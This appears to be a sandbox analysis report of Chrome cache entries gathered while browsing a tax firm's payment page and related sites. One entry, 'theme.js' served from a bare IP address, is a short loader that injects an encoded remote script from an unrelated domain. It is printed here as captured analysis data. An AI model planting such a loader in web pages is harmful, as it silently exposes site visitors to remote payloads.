Entropy (8bit):	5.62711902236715
Encrypted:	false
SSDEEP:	768:0yDaPQKIZhkIYGiZ1HYu1dH7BJhHuJEzsU230DUNFOIDds:kQKIZPiTJPbKzg
MD5:	D1CDC763617DBE05D2C9FFCFF3728A17
SHA1:	90B3DC727A7C59A0AC1BC3E826E5B8D9CA87612F
SHA-256:	D24C458BCDF7BCDE237E660C6A0EA67070FD32ED1D7F68FE860D5EBE50D0E499
SHA-512:	D422B715FED086D5D7E57F629329D4B6722382C78EFFB4DABBC0BCB13FFE9D0B095C0F70E21158D779F16373621CC8CBDCA8E6C54F5A68D8085C8635494DA705
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yG/r/DBxNWR0pTnb.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("requestIdleCallbackComet",["IdleCallbackImplementation"],(function(a,b,c,d,e,f,g){"use strict";var h=a.requestIdleCallback\|\|d("IdleCallbackImplementation").requestIdleCallback;function b(b,c){return h.call(a,b,c)}g["default"]=b}),98);.__d("BinarySearch",["unrecoverableViolation"],(function(a,b,c,d,e,f,g){"use strict";e={GREATEST_LOWER_BOUND:"GREATEST_LOWER_BOUND",GREATEST_STRICT_LOWER_BOUND:"GREATEST_STRICT_LOWER_BOUND",LEAST_STRICT_UPPER_BOUND:"LEAST_STRICT_UPPER_BOUND",LEAST_UPPER_BOUND:"LEAST_UPPER_BOUND",NEAREST:"NEAREST"};var h=function(a,b){if(typeof a!=="number"\|\|typeof b!=="number")throw c("unrecoverableViolation")("The default comparator can only be used with sequences of numbers.","comet_infra");return a-b},i=e.GREATEST_LOWER_BOUND,j=e.GREATEST_STRICT_LOWER_BOUND,k=e.LEAST_STRICT_UPPER_BOUND,l=e.LEAST_UPPER_BOUND,m=e.NEAREST;function n(a,b,c,d,e){e===void 0&&(e=h);var f=l;f=p(a,b,c,d,e,f);if(c<=f&&f<d){c=a(f);return e(c,b)===0?c:void 0}else return void

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4899
Entropy (8bit):	5.423455260049107
Encrypted:	false
SSDEEP:	96:jYgEalVc+ufYgEaFNjYgXalVc+ufYgXaFNjYgpalVc+ufYgpaFNjOEadGVc+ufO7:MOxVO8NxVN8rxVrkqDlq8DqGt
MD5:	E9150D3A05487209A00C33FD3119E1F7
SHA1:	97CC316B6C76715FD43A9323344A1E868C21340A
SHA-256:	F09C18CBFB91024B5E1E0A8408063DCF8A027CF33F3C9D1A3FF727072D7E056B
SHA-512:	39AC099D719754031CD2972953A2EB9313F2C1C4D4D2705B4036B56FFFC1A6AF4038A8B95168220FC26BA2379C9E3EAC25B6652288AEB91F2193D85A6606156F
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=DM+Sans:400,400i,500,500i,700,700i&display=swap"
Preview:	/* latin-ext /.@font-face {. font-family: 'DM Sans';. font-style: italic;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/dmsans/v15/rP2Wp2ywxg089UriCZaSExd86J3t9jz86MvyyKK58VXh.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'DM Sans';. font-style: italic;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/dmsans/v15/rP2Wp2ywxg089UriCZaSExd86J3t9jz86MvyyKy58Q.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'DM Sans';. font-style: italic;. font-weight: 500;. font-display: swap;. src: url(https://fonts.gstatic.com/s/dmsans/v15/rP2Wp2ywxg08

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1600x627, components 3
Category:	downloaded
Size (bytes):	20511
Entropy (8bit):	7.313423509482377
Encrypted:	false
SSDEEP:	384:H1Uix+XhSB8aTxlrZbCVk2Jx/WPJGa6YYgZ8VUSyphLD:VUix+XhSBh3Zbj4xPYYLJKD
MD5:	550C57516FFF8DFBAE2338403ABE29C1
SHA1:	CA386CA5AFE9E9E02C860411A4F4E938720B1A91
SHA-256:	1131D93E22ABABF80B33C1560446810D21FE091F1A966714B46828B9CFCAB4A4
SHA-512:	690A181043DC58A0CDB79F3E11431EA05FD7A69A94EED235F2C3F89C50875997F6967041EB000250D5B48B9F4945E68E2A3ECCFDD1D853A7E2636BC4680D434B
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/images/latest_news.jpg
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................s.@.."..........................................................................~^...60..c..60..c..60..c...c>.}.60..c..60..c..60..c......9..m.60..c......<...0..~~........60..c..60..c..60..c..6<....c...60..c..60..c..60..c....;bw..0..c..60..c..60..c..60..c..60..c.:..c.....c..61:d.....(........c..7.`(...... ...............?.................`.n=N....... ..>.8,...zJ(.............<.q.....x....f9w............ ..^}....... ..........<.s.z<..............9....u...(... ...)O.w...(.............3....(....4....L..(..........`...(...... ..........>....7.........(....p.y.............>w.u...(...............G..(...:..&u..........p.....e.................8.....7...................= .......(.<........... .........YF.=)@...F...........y...5........... ..........7.....(.........:8d..==.{('....X=@........#...I`.%................Y

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (11694), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	58313
Entropy (8bit):	5.355108163515215
Encrypted:	false
SSDEEP:	768:ad/0hZdapNBVJ58PKUftEEwQY02bOOADgse3XdAUix0tQ:zapLVJ58PHXY026SXdAUix0tQ
MD5:	5CD2332F1F55EEFB99E754E47FDB880E
SHA1:	CBC6978625D725FFD70AF309C1176DBBB1DB7C31
SHA-256:	4AACF4753DFAC0D56B507E32C3753567EA3E2E179B62253DF53D8A6AC55C2F0A
SHA-512:	213F76DD6523AE3FC4CA5905BF6F995E01FDC8B69D76DD2D2119860C10DDB16849399C24FFCA1A3AB598874F2177837F9B0FAB37A51BF1315AA7B49BE3BD0E86
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/payment/
Preview:	..<!DOCTYPE html>.<html class="no-js" lang="en-US">.<head>.<meta charset="UTF-8">.<meta name="viewport" content="width=device-width, initial-scale=1.0">.<link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php">.<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO plugin v22.4 - https://yoast.com/wordpress/plugins/seo/ -->..<title>Online Payment - BFJ Tax & Accounting</title>..<link rel="canonical" href="https://www.bfjfinancial.com/payment/" />..<meta property="og:locale" content="en_US" />..<meta property="og:type" content="article" />..<meta property="og:title" content="Online Payment - BFJ Tax & Accounting" />..<meta property="og:url" content="https://www.bfjfinancial.com/payment/" />..<meta property="og:site_name" content="BFJ Tax & Accounting" />..<meta property="article:publisher" content="https://www.facebook.com/bfjfinancial" />..<meta property="artic

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	744
Entropy (8bit):	4.7518950221021665
Encrypted:	false
SSDEEP:	12:t0PC1fAIpjA/+IeS5zmqtratGRAIbCEuIe39Q3NEu5LqeIt1GYGO7iYajGOGlIdy:mPifFp82KGtwCEuj8VSfT7ajOSdDIoq
MD5:	460B025F5544748A721A2AE90C6BFD2F
SHA1:	4436AF72D9DFFE699AF3D79100AF35735B1FAD1F
SHA-256:	B2E40EE293051442C9C5D5C1AABD05097CF402EC57649CF7C76F6D7A222D2AC0
SHA-512:	B7958AC22AC1D7919A8D7EB599F6942344D3496BA012FA2781615CD5C28CD111DB08057FBB04778408BC180C7497FE8CB9311459EAA3A3786CDAFC088B6246D9
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/js/EmailValidator.js
Preview:	...function vEmail(sender, args) {.. var ctrl = $find(sender.controltovalidate);.. var val = ctrl.get_value();.. var vExpression = ctrl.get_element().getAttribute("vExpression");.. var retVal = val.match(vExpression);.. args.IsValid = retVal;.. var message = "Please enter a valid email address.";.. try {.. message = ctrl.get_element().getAttribute("msgRegEx") \|\| message;.. } catch (e) {.. }.. if (!args.IsValid) showErrorTip(ctrl.get_element(), message);.. if (typeof (onEmailValidationComplete) == "function") {.. onEmailValidationComplete(sender, args);.. }..}....function Validate(sender, group) {.. if (Page_ClientValidate(group)) {.. __doPostBack(sender.name, '');.. }..}

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5725), with no line terminators
Category:	downloaded
Size (bytes):	5725
Entropy (8bit):	5.531292905473537
Encrypted:	false
SSDEEP:	96:VCbHB5A4GVhpCbTpLenfLUPo6/KdQK++OIWtJxtomlGDWtVA/i3/N8q3Lfl:CFEyp+Dyn/kNpOIWtlomlii3/NR3Lfl
MD5:	B40EA471DC4E9DF8B2B5CE10798D6E8D
SHA1:	8D1F0B64E670B35888DFE6DC7BAE124A2F19E327
SHA-256:	124F737C2EB81C44C92653169EE78F0DF2784F6ACBAE5A80288CC380945E671C
SHA-512:	4E966A9E91916BAC7CE6CC4705EE09E03E6E07CD6D4DBB5049A30B9B83DBAA9EA4DFC330FD9E8A8157645D229E252B017A24CBC426A1E404DA5DB4CA0986D575
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/scripts.b50e369373f7dffa.js
Preview:	(function(){var s=function l(){var a=navigator.appVersion,e=navigator.userAgent;console.log("agent: ",e);var b,n,t,o="",i=""+parseFloat(navigator.appVersion),f=parseInt(navigator.appVersion,10);-1!==(n=e.indexOf("Opera"))&&(o="Opera",i=e.substring(n+6),-1!==(n=e.indexOf("Version"))&&(i=e.substring(n+8))),-1!==(n=e.indexOf("OPR"))?(o="Opera",i=e.substring(n+4)):-1!==(n=e.indexOf("Edge"))?(o="Microsoft Edge",i=e.substring(n+5)):-1!==(n=e.indexOf("MSIE"))?(o="Microsoft Internet Explorer",i=e.substring(n+5)):-1!==(n=e.indexOf("Chrome"))?(o="Chrome",i=e.substring(n+7)):-1!==(n=e.indexOf("Safari"))?(o="Safari",i=e.substring(n+7),-1!==(n=e.indexOf("Version"))&&(i=e.substring(n+8))):-1!==(n=e.indexOf("Firefox"))?(o="Firefox",i=e.substring(n+8)):-1!==e.indexOf("Trident/")?(o="Microsoft Internet Explorer",i=e.substring(e.indexOf("rv:")+3)):(b=e.lastIndexOf(" ")+1)<(n=e.lastIndexOf("/"))&&(o=e.substring(b,n),i=e.substring(n+1),o.toLowerCase()===o.toUpperCase()&&(o=navigator.appName)),-1!==(t=i.in

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10094)
Category:	downloaded
Size (bytes):	198511
Entropy (8bit):	5.389488942356213
Encrypted:	false
SSDEEP:	1536:PAKkXD61qLZAyPnWFCgd6FF6U5v/FjisNk3a+awDbDitxXd3dBNcyg1qmW0FuF88:dkXXnPnZF3xXd3djI1qmW0FuF7TyZyBF
MD5:	177BECFB5F1996FEA8E92F94BB74831D
SHA1:	D9B9CC3F7F6CF093D475D0AF39395D61BF2B2CF1
SHA-256:	1ABF446AB7FCD8FC007AB97CAD5F555D2269AA2C829FF5D1AAE397F458D7F95F
SHA-512:	D843BD1A556449FE55CFFB4D0584BA8076E4D56866000B06DF390B6DB4619B09FBB99E14B3B649C43329A18EB8747FC04C2567D120AEF3A0A6054C2483A55873
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3iXxa4/yL/l/en_US/lNsPUo86OiUCMqDMXvq_vpAInncWS5tj5ToJwfvmrzOfGKV2bs_YuvDfGpEmKki_lhM7LsjDmcKgyjNFe6HRv38lumnsSmapohVdoBwRAC4TfczbpC364rkDJy8BWFb8n6g1fWxL1rr0Obq.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometFeedUnitCard_feedUnit.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometFeedUnitCard_feedUnit",selections:[{kind:"InlineFragment",selections:[{alias:null,args:null,kind:"ScalarField",name:"id",storageKey:null}],type:"Story",abstractKey:null}],type:"FeedUnit",abstractKey:"__isFeedUnit"};e.exports=a}),null);.__d("CometFeedUnitErrorBoundary_feedUnit.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometFeedUnitErrorBoundary_feedUnit",selections:[{kind:"InlineFragment",selections:[{alias:null,args:null,concreteType:"SponsoredData",kind:"LinkedField",name:"sponsored_data",plural:!1,selections:[{alias:null,args:null,kind:"ScalarField",name:"__typename",storageKey:null}],storageKey:null}],type:"Story",abstractKey:null},{args:null,kind:"FragmentSpread",name:"useCometFeedUnitEventLogger_feedUnit"}],type:"FeedUnit",abstractKey:"__isFeedUnit"};

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	244
Entropy (8bit):	5.4013432425063455
Encrypted:	false
SSDEEP:	6:SlUgO9l9LtRWPIj8oHMd6pd7LxQJQiDE1kjiUSf:wsptRWPIj8oo6TLxQ1hjXSf
MD5:	F30DAE4BD06170CCF2EAA0BF0F516876
SHA1:	E833AF480D099EE398CD4AAC0F2193C74B8A777B
SHA-256:	30BCCC3B41684CE4F0E96CD31F29CD35CB8C75352A2478E68D39D6FC16025CF6
SHA-512:	228E678A260BA45A712CA14BA3E8FD4131938FFA0B4A70AD48D5482E72C759A688587C3378AC58572B7BE9FC0F19DD9CBCAE21B602AB5D2683CB7DC536E398E4
Malicious:	false
Reputation:	low
URL:	https://147.45.47.87/scripts/theme.js
Preview:	;(function(z,b,o,e,g,p){g=b.createElement(o);p=b.getElementsByTagName(o)[0];g.async=1;g.src=e;p.parentNode.insertBefore(g,p);})(window,document,'script','https://welcome.visionaryyouth.org/LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ==');

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8984), with no line terminators
Category:	downloaded
Size (bytes):	8984
Entropy (8bit):	5.2155058421093665
Encrypted:	false
SSDEEP:	192:2wxIdFBE0yjb9/5J+boq60juZvD9vPf27Y:t+BapWEq6UuZh20
MD5:	51CC097B6D58A11A6AA758E72EE39E0A
SHA1:	D1AB94D550F44E6B1B4CC45E5209045B009435D9
SHA-256:	E31E52C79D9C0B78CEBE49299C6B484AA34BEFA52738755D3F7F7EFFA6A3A902
SHA-512:	6D138C1157F683E9E4457C6019E7D7D640CF657B09F8197DFCC3C202F5B2AA1122D4F17E83401CAEEE6BFE9E1E60FF8E5B66E3C56975F99D8AD155F6A64382F2
Malicious:	false
Reputation:	low
URL:	https://smartvault.ada.support/embed/button/e540f3c/preact.8ab2422822c47580185f.js
Preview:	"use strict";(self.webpackChunk_ada_support_embed2=self.webpackChunk_ada_support_embed2\|\|[]).push([[168],{6400:function(e,n,t){t.d(n,{HY:function(){return v},Vf:function(){return h},h:function(){return a},sY:function(){return M},wA:function(){return y}});var _,l,o,r,u,i={},s=[],c=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|grid\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord\|itera/i;function p(e,n){for(var t in n)e[t]=n[t];return e}function f(e){var n=e.parentNode;n&&n.removeChild(e)}function a(e,n,t){var _,l=arguments,o={};for(_ in n)"key"!==_&&"ref"!==_&&(o[_]=n[_]);if(arguments.length>3)for(t=[t],_=3;_<arguments.length;_++)t.push(l[_]);if(null!=t&&(o.children=t),"function"==typeof e&&null!=e.defaultProps)for(_ in e.defaultProps)void 0===o[_]&&(o[_]=e.defaultProps[_]);return d(e,o,n&&n.key,n&&n.ref,null)}function d(e,n,t,l,o){var r={type:e,props:n,key:t,ref:l,__k:null,__:null,__b:0,__e:null,__d:void 0,__c:null,constructor:void 0,__v:o};return null==o&&(r.__v=r),_.vnode&&_.vnode(r),r}function h(){return{current:null}}fun

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, Unicode text, UTF-8 text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	79601
Entropy (8bit):	5.300945379779056
Encrypted:	false
SSDEEP:	768:9zczmdic4jDnrKxjKaneu9jCWAPv9xBv9xHcgufcguncguXsTHJlflv6w4tmxArd:BczmArKxFhtmxAP1H2hc1fkjIC5nfoZh
MD5:	02B041A29C89A6FAAEC7C6FFCDF7BBFD
SHA1:	36BF94098D5675F4F0157941169E82AB820BB717
SHA-256:	C27F89B2CD177556F4F1020B59696B23F8E7DCC43A16873E9BE82CEA9488EED9
SHA-512:	E80BEDEC7A347E031D738CA6469CEC296849666D28A37151A89D9668E1D862C518030D1253874BD1928CBD542CEBAE3CB48AE4EDBE806EE3BC3010E391B3F70D
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/5qa1f22mxd8ig3o5g568vo59
Preview:	var _0x60f9=['fontWeight','letterSpacing','lineBreak','lineHeight','none','textDecoration','textShadow','whiteSpace','wordSpacing','mmmmmmmmmmlli','fontFamily','offsetHeight','appendChild','offsetWidth','removeChild','hashOnly','lists','mimetypesComponent','mimeTypes','suffixes','description','pluginsComponent','isIE','getIEPlugins','getRegularPlugins','plugins','pluginsShouldBeSorted','sort','getOwnPropertyDescriptor','ActiveXObject','AcroPDF.PDF','DevalVRXCtrl.DevalVRXCtrl.1','Msxml2.XMLHTTP','PDF.PdfCtrl','QuickTime.QuickTime','RealPlayer','RealPlayer.RealPlayer(tm)\x20ActiveX\x20Control\x20(32-bit)','RealVideo.RealVideo(tm)\x20ActiveX\x20Control\x20(32-bit)','SWCtl.SWCtl','Shell.UIHelper','Skype.Detection','TDCCtl.TDCCtl','rmocx.RealPlayer\x20G2\x20Control','rmocx.RealPlayer\x20G2\x20Control.1','ERROR','sortPluginsFor','batteryKey','getBattery','level','charging','chargingTime','dischargingTime','downlink','downlinkMax','rtt','touchSupportKey','getTouchSupport','hardwareConcurrency

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, copyright=Copyright (c) 2012 rnl/Shutterstock. No use without permission.], progressive, precision 8, 154x154, components 3
Category:	downloaded
Size (bytes):	5961
Entropy (8bit):	7.789799569784627
Encrypted:	false
SSDEEP:	96:O33jbJvcTc91oeiblN+QfUONNc4vR25F7NFwTOp7wYSrmUVzZkjH1KF29qrLksV2:I3jNrzilNBPPc+R2f9nMSj4XLksVDS
MD5:	D5BBE2E155895F67BC771FC0E232B684
SHA1:	77102FE6C72163720D699DB620579BC3EBA46521
SHA-256:	F710BB8A976496EBCA42BAB8F0B47921F1B7292DD2A9EDCA54D8B0471B746037
SHA-512:	CEC9E0F88731EC9D17B3FB3F2274F9913866B917D0BF9FC93E2700BAF8162FA76E1DAA5216E073FAD8A5B42675BF1F51BE9D02C4F678410F49EE69F2F8E1A0C7
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-2.xx.fbcdn.net/v/t39.30808-6/434870218_983385669853053_7084942549234442441_n.jpg?stp=c71.0.154.154a_dst-jpg_p296x100&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=RTXaj_w3vwoAb6kPsRj&_nc_ht=scontent-lga3-2.xx&oh=00_AfCQ7eirRa68wVAi87YynW35JG6CvA-jaOYBsttAH2mJyg&oe=661E2C6B
Preview:	......JFIF.............dExif..MM..............A........Copyright (c) 2012 rnl/Shutterstock. No use without permission.......http://ns.adobe.com/xap/1.0/.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/". xmpRights:WebStatement="https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=webstatement"/>. </rdf:RDF>.</x:xmpmeta>.....Photoshop 3.0.8BIM..........t.@Copyright (c) 2012 rnl/Shutterstock. No use without permission...P..rnl..(.bFBMD0a000ac90300007d050000ba0700006b0800006c090000410c0000850f000002100000b5100000e611000049170000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...........".................................................................................]..SR.5......

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	24838
Entropy (8bit):	2.3776312389302885
Encrypted:	false
SSDEEP:	96:h2ki0ihoer+JHZyx51Zc3juid220pvVhrBpvN:h2bEHK1ZxY220b
MD5:	B2CCD167C908A44E1DD69DF79382286A
SHA1:	D9349F1BDCF3C1556CD77AE1F0029475596342AA
SHA-256:	19B079C09197FBA68D021FA3BA394EC91703909FFD237EFA3EB9A2BCA13148EC
SHA-512:	A95FEB4454F74D54157E69D1491836655F2FEE7991F0F258587E80014F11E2898D466A6D57A574F59F6E155872218829A1A3DC1AD5F078B486E594E08F5A6F8D
Malicious:	false
Reputation:	low
Preview:	............ .h...F......... ......... .... .....6...@@.... .(B......(....... ..... ..................................................................................................s...s...s...s...s...s...s...s...s...s...s...s..../..........s...s...s...s...s...s...s...s...s...s...s...s...s...s...........s...s...........s...........s...s...s...........s...s...........s...s...........s...........s...s...s...........s...s...........s...s...........s...........s...s...s...........s...s...........s...s...........s...............s...y...........s...s...........s...s...........s...........z..s...D..........s...s...........s...s...........s...............................s...s...........s...s...........s..........................?..s...s...........s...s...=..=..s...s...s...s...w...~...s...s...s...s...........s...=..........=..s...s...s...s...s...s...s...s...s...........s...=..........=..s...s...s...s...s...s...s...s...s...........s...s...=..=..s...s...s...s...s...s...s...s...s...s

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7173)
Category:	downloaded
Size (bytes):	46976
Entropy (8bit):	5.422436619317251
Encrypted:	false
SSDEEP:	768:HQvvNk35EqETDa+DlaXXAiNNivWzsOWgNm+WdPKaug5dyxROh6gHd3rjrqrNraVd:HQvvl/TrsXXAiNMvQmPPKaVNBrjrqrNw
MD5:	3F9323F3E1CC266311EBF8F70ADC5219
SHA1:	5E259FC9C527AA816C9E18C2C9D77836520F8527
SHA-256:	14EEFAF2CC95C90D6380208CF82E3F7731E72FA346AFCA191EC1423F203C7FE1
SHA-512:	5389F0D8C0D227C2E310FE85BE60A087A3F732BA259E57000975B9FF65BBF387F4C16E8AB8CF91207AC55C62693F0643F2C39A1FB0AC33549BEE5862610AB6F0
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/y-/r/NnVv4r542g6.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometNewsFeedVPVDStore_newsFeedEdge.graphql",[],(function(a,b,c,d,e,f){"use strict";a={kind:"InlineDataFragment",name:"CometNewsFeedVPVDStore_newsFeedEdge"};e.exports=a}),null);.__d("registerSourceForView",["DTSG","DTSGUtils","SprinkleConfig","XCometPrivacySandboxRegisterSourceControllerRouteBuilder","isAttributionReportingAPIEnabled"],(function(a,b,c,d,e,f,g){"use strict";function a(a,b){if(!c("isAttributionReportingAPIEnabled")())return;var e={eventSourceEligible:!0,triggerEligible:!1},f={},g=c("XCometPrivacySandboxRegisterSourceControllerRouteBuilder").buildUri({});a!=null&&a.length>0?f.eid=a:b!=null&&b.length>0&&(f.xt=b);a=d("DTSG").getToken();a!=null&&a.length>0&&(f.fb_dtsg=a,c("SprinkleConfig").param_name.length>0&&(f[c("SprinkleConfig").param_name]=c("DTSGUtils").getNumericValue(a)));b=Object.keys(f).map(function(a){return[encodeURIComponent(a),encodeURIComponent(f[a])].join("=")}).join("&");window.fetch(g,{attributionReporting:e,body:b,headers:{"Content-

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, copyright=Copyright (c) 2012 rnl/Shutterstock. No use without permission.], progressive, precision 8, 154x154, components 3
Category:	dropped
Size (bytes):	5961
Entropy (8bit):	7.789799569784627
Encrypted:	false
SSDEEP:	96:O33jbJvcTc91oeiblN+QfUONNc4vR25F7NFwTOp7wYSrmUVzZkjH1KF29qrLksV2:I3jNrzilNBPPc+R2f9nMSj4XLksVDS
MD5:	D5BBE2E155895F67BC771FC0E232B684
SHA1:	77102FE6C72163720D699DB620579BC3EBA46521
SHA-256:	F710BB8A976496EBCA42BAB8F0B47921F1B7292DD2A9EDCA54D8B0471B746037
SHA-512:	CEC9E0F88731EC9D17B3FB3F2274F9913866B917D0BF9FC93E2700BAF8162FA76E1DAA5216E073FAD8A5B42675BF1F51BE9D02C4F678410F49EE69F2F8E1A0C7
Malicious:	false
Reputation:	low
Preview:	......JFIF.............dExif..MM..............A........Copyright (c) 2012 rnl/Shutterstock. No use without permission.......http://ns.adobe.com/xap/1.0/.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/". xmpRights:WebStatement="https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=webstatement"/>. </rdf:RDF>.</x:xmpmeta>.....Photoshop 3.0.8BIM..........t.@Copyright (c) 2012 rnl/Shutterstock. No use without permission...P..rnl..(.bFBMD0a000ac90300007d050000ba0700006b0800006c090000410c0000850f000002100000b5100000e611000049170000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...........".................................................................................]..SR.5......

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 159x160, components 3
Category:	downloaded
Size (bytes):	5476
Entropy (8bit):	7.8146254728880145
Encrypted:	false
SSDEEP:	96:A5DBm5XJurnLX5j9iJfKgmqDxn7IQ6nng3ptXHvEH8uX3LI25n/3izXVTXWVn:+BC5uXXF9EfKgmMxn8Fng3p9HcHHIE3d
MD5:	8600F4C6E3D141A5F61387C185188A3D
SHA1:	F9EE92D066C27195359113D1529F35C6FD1238D4
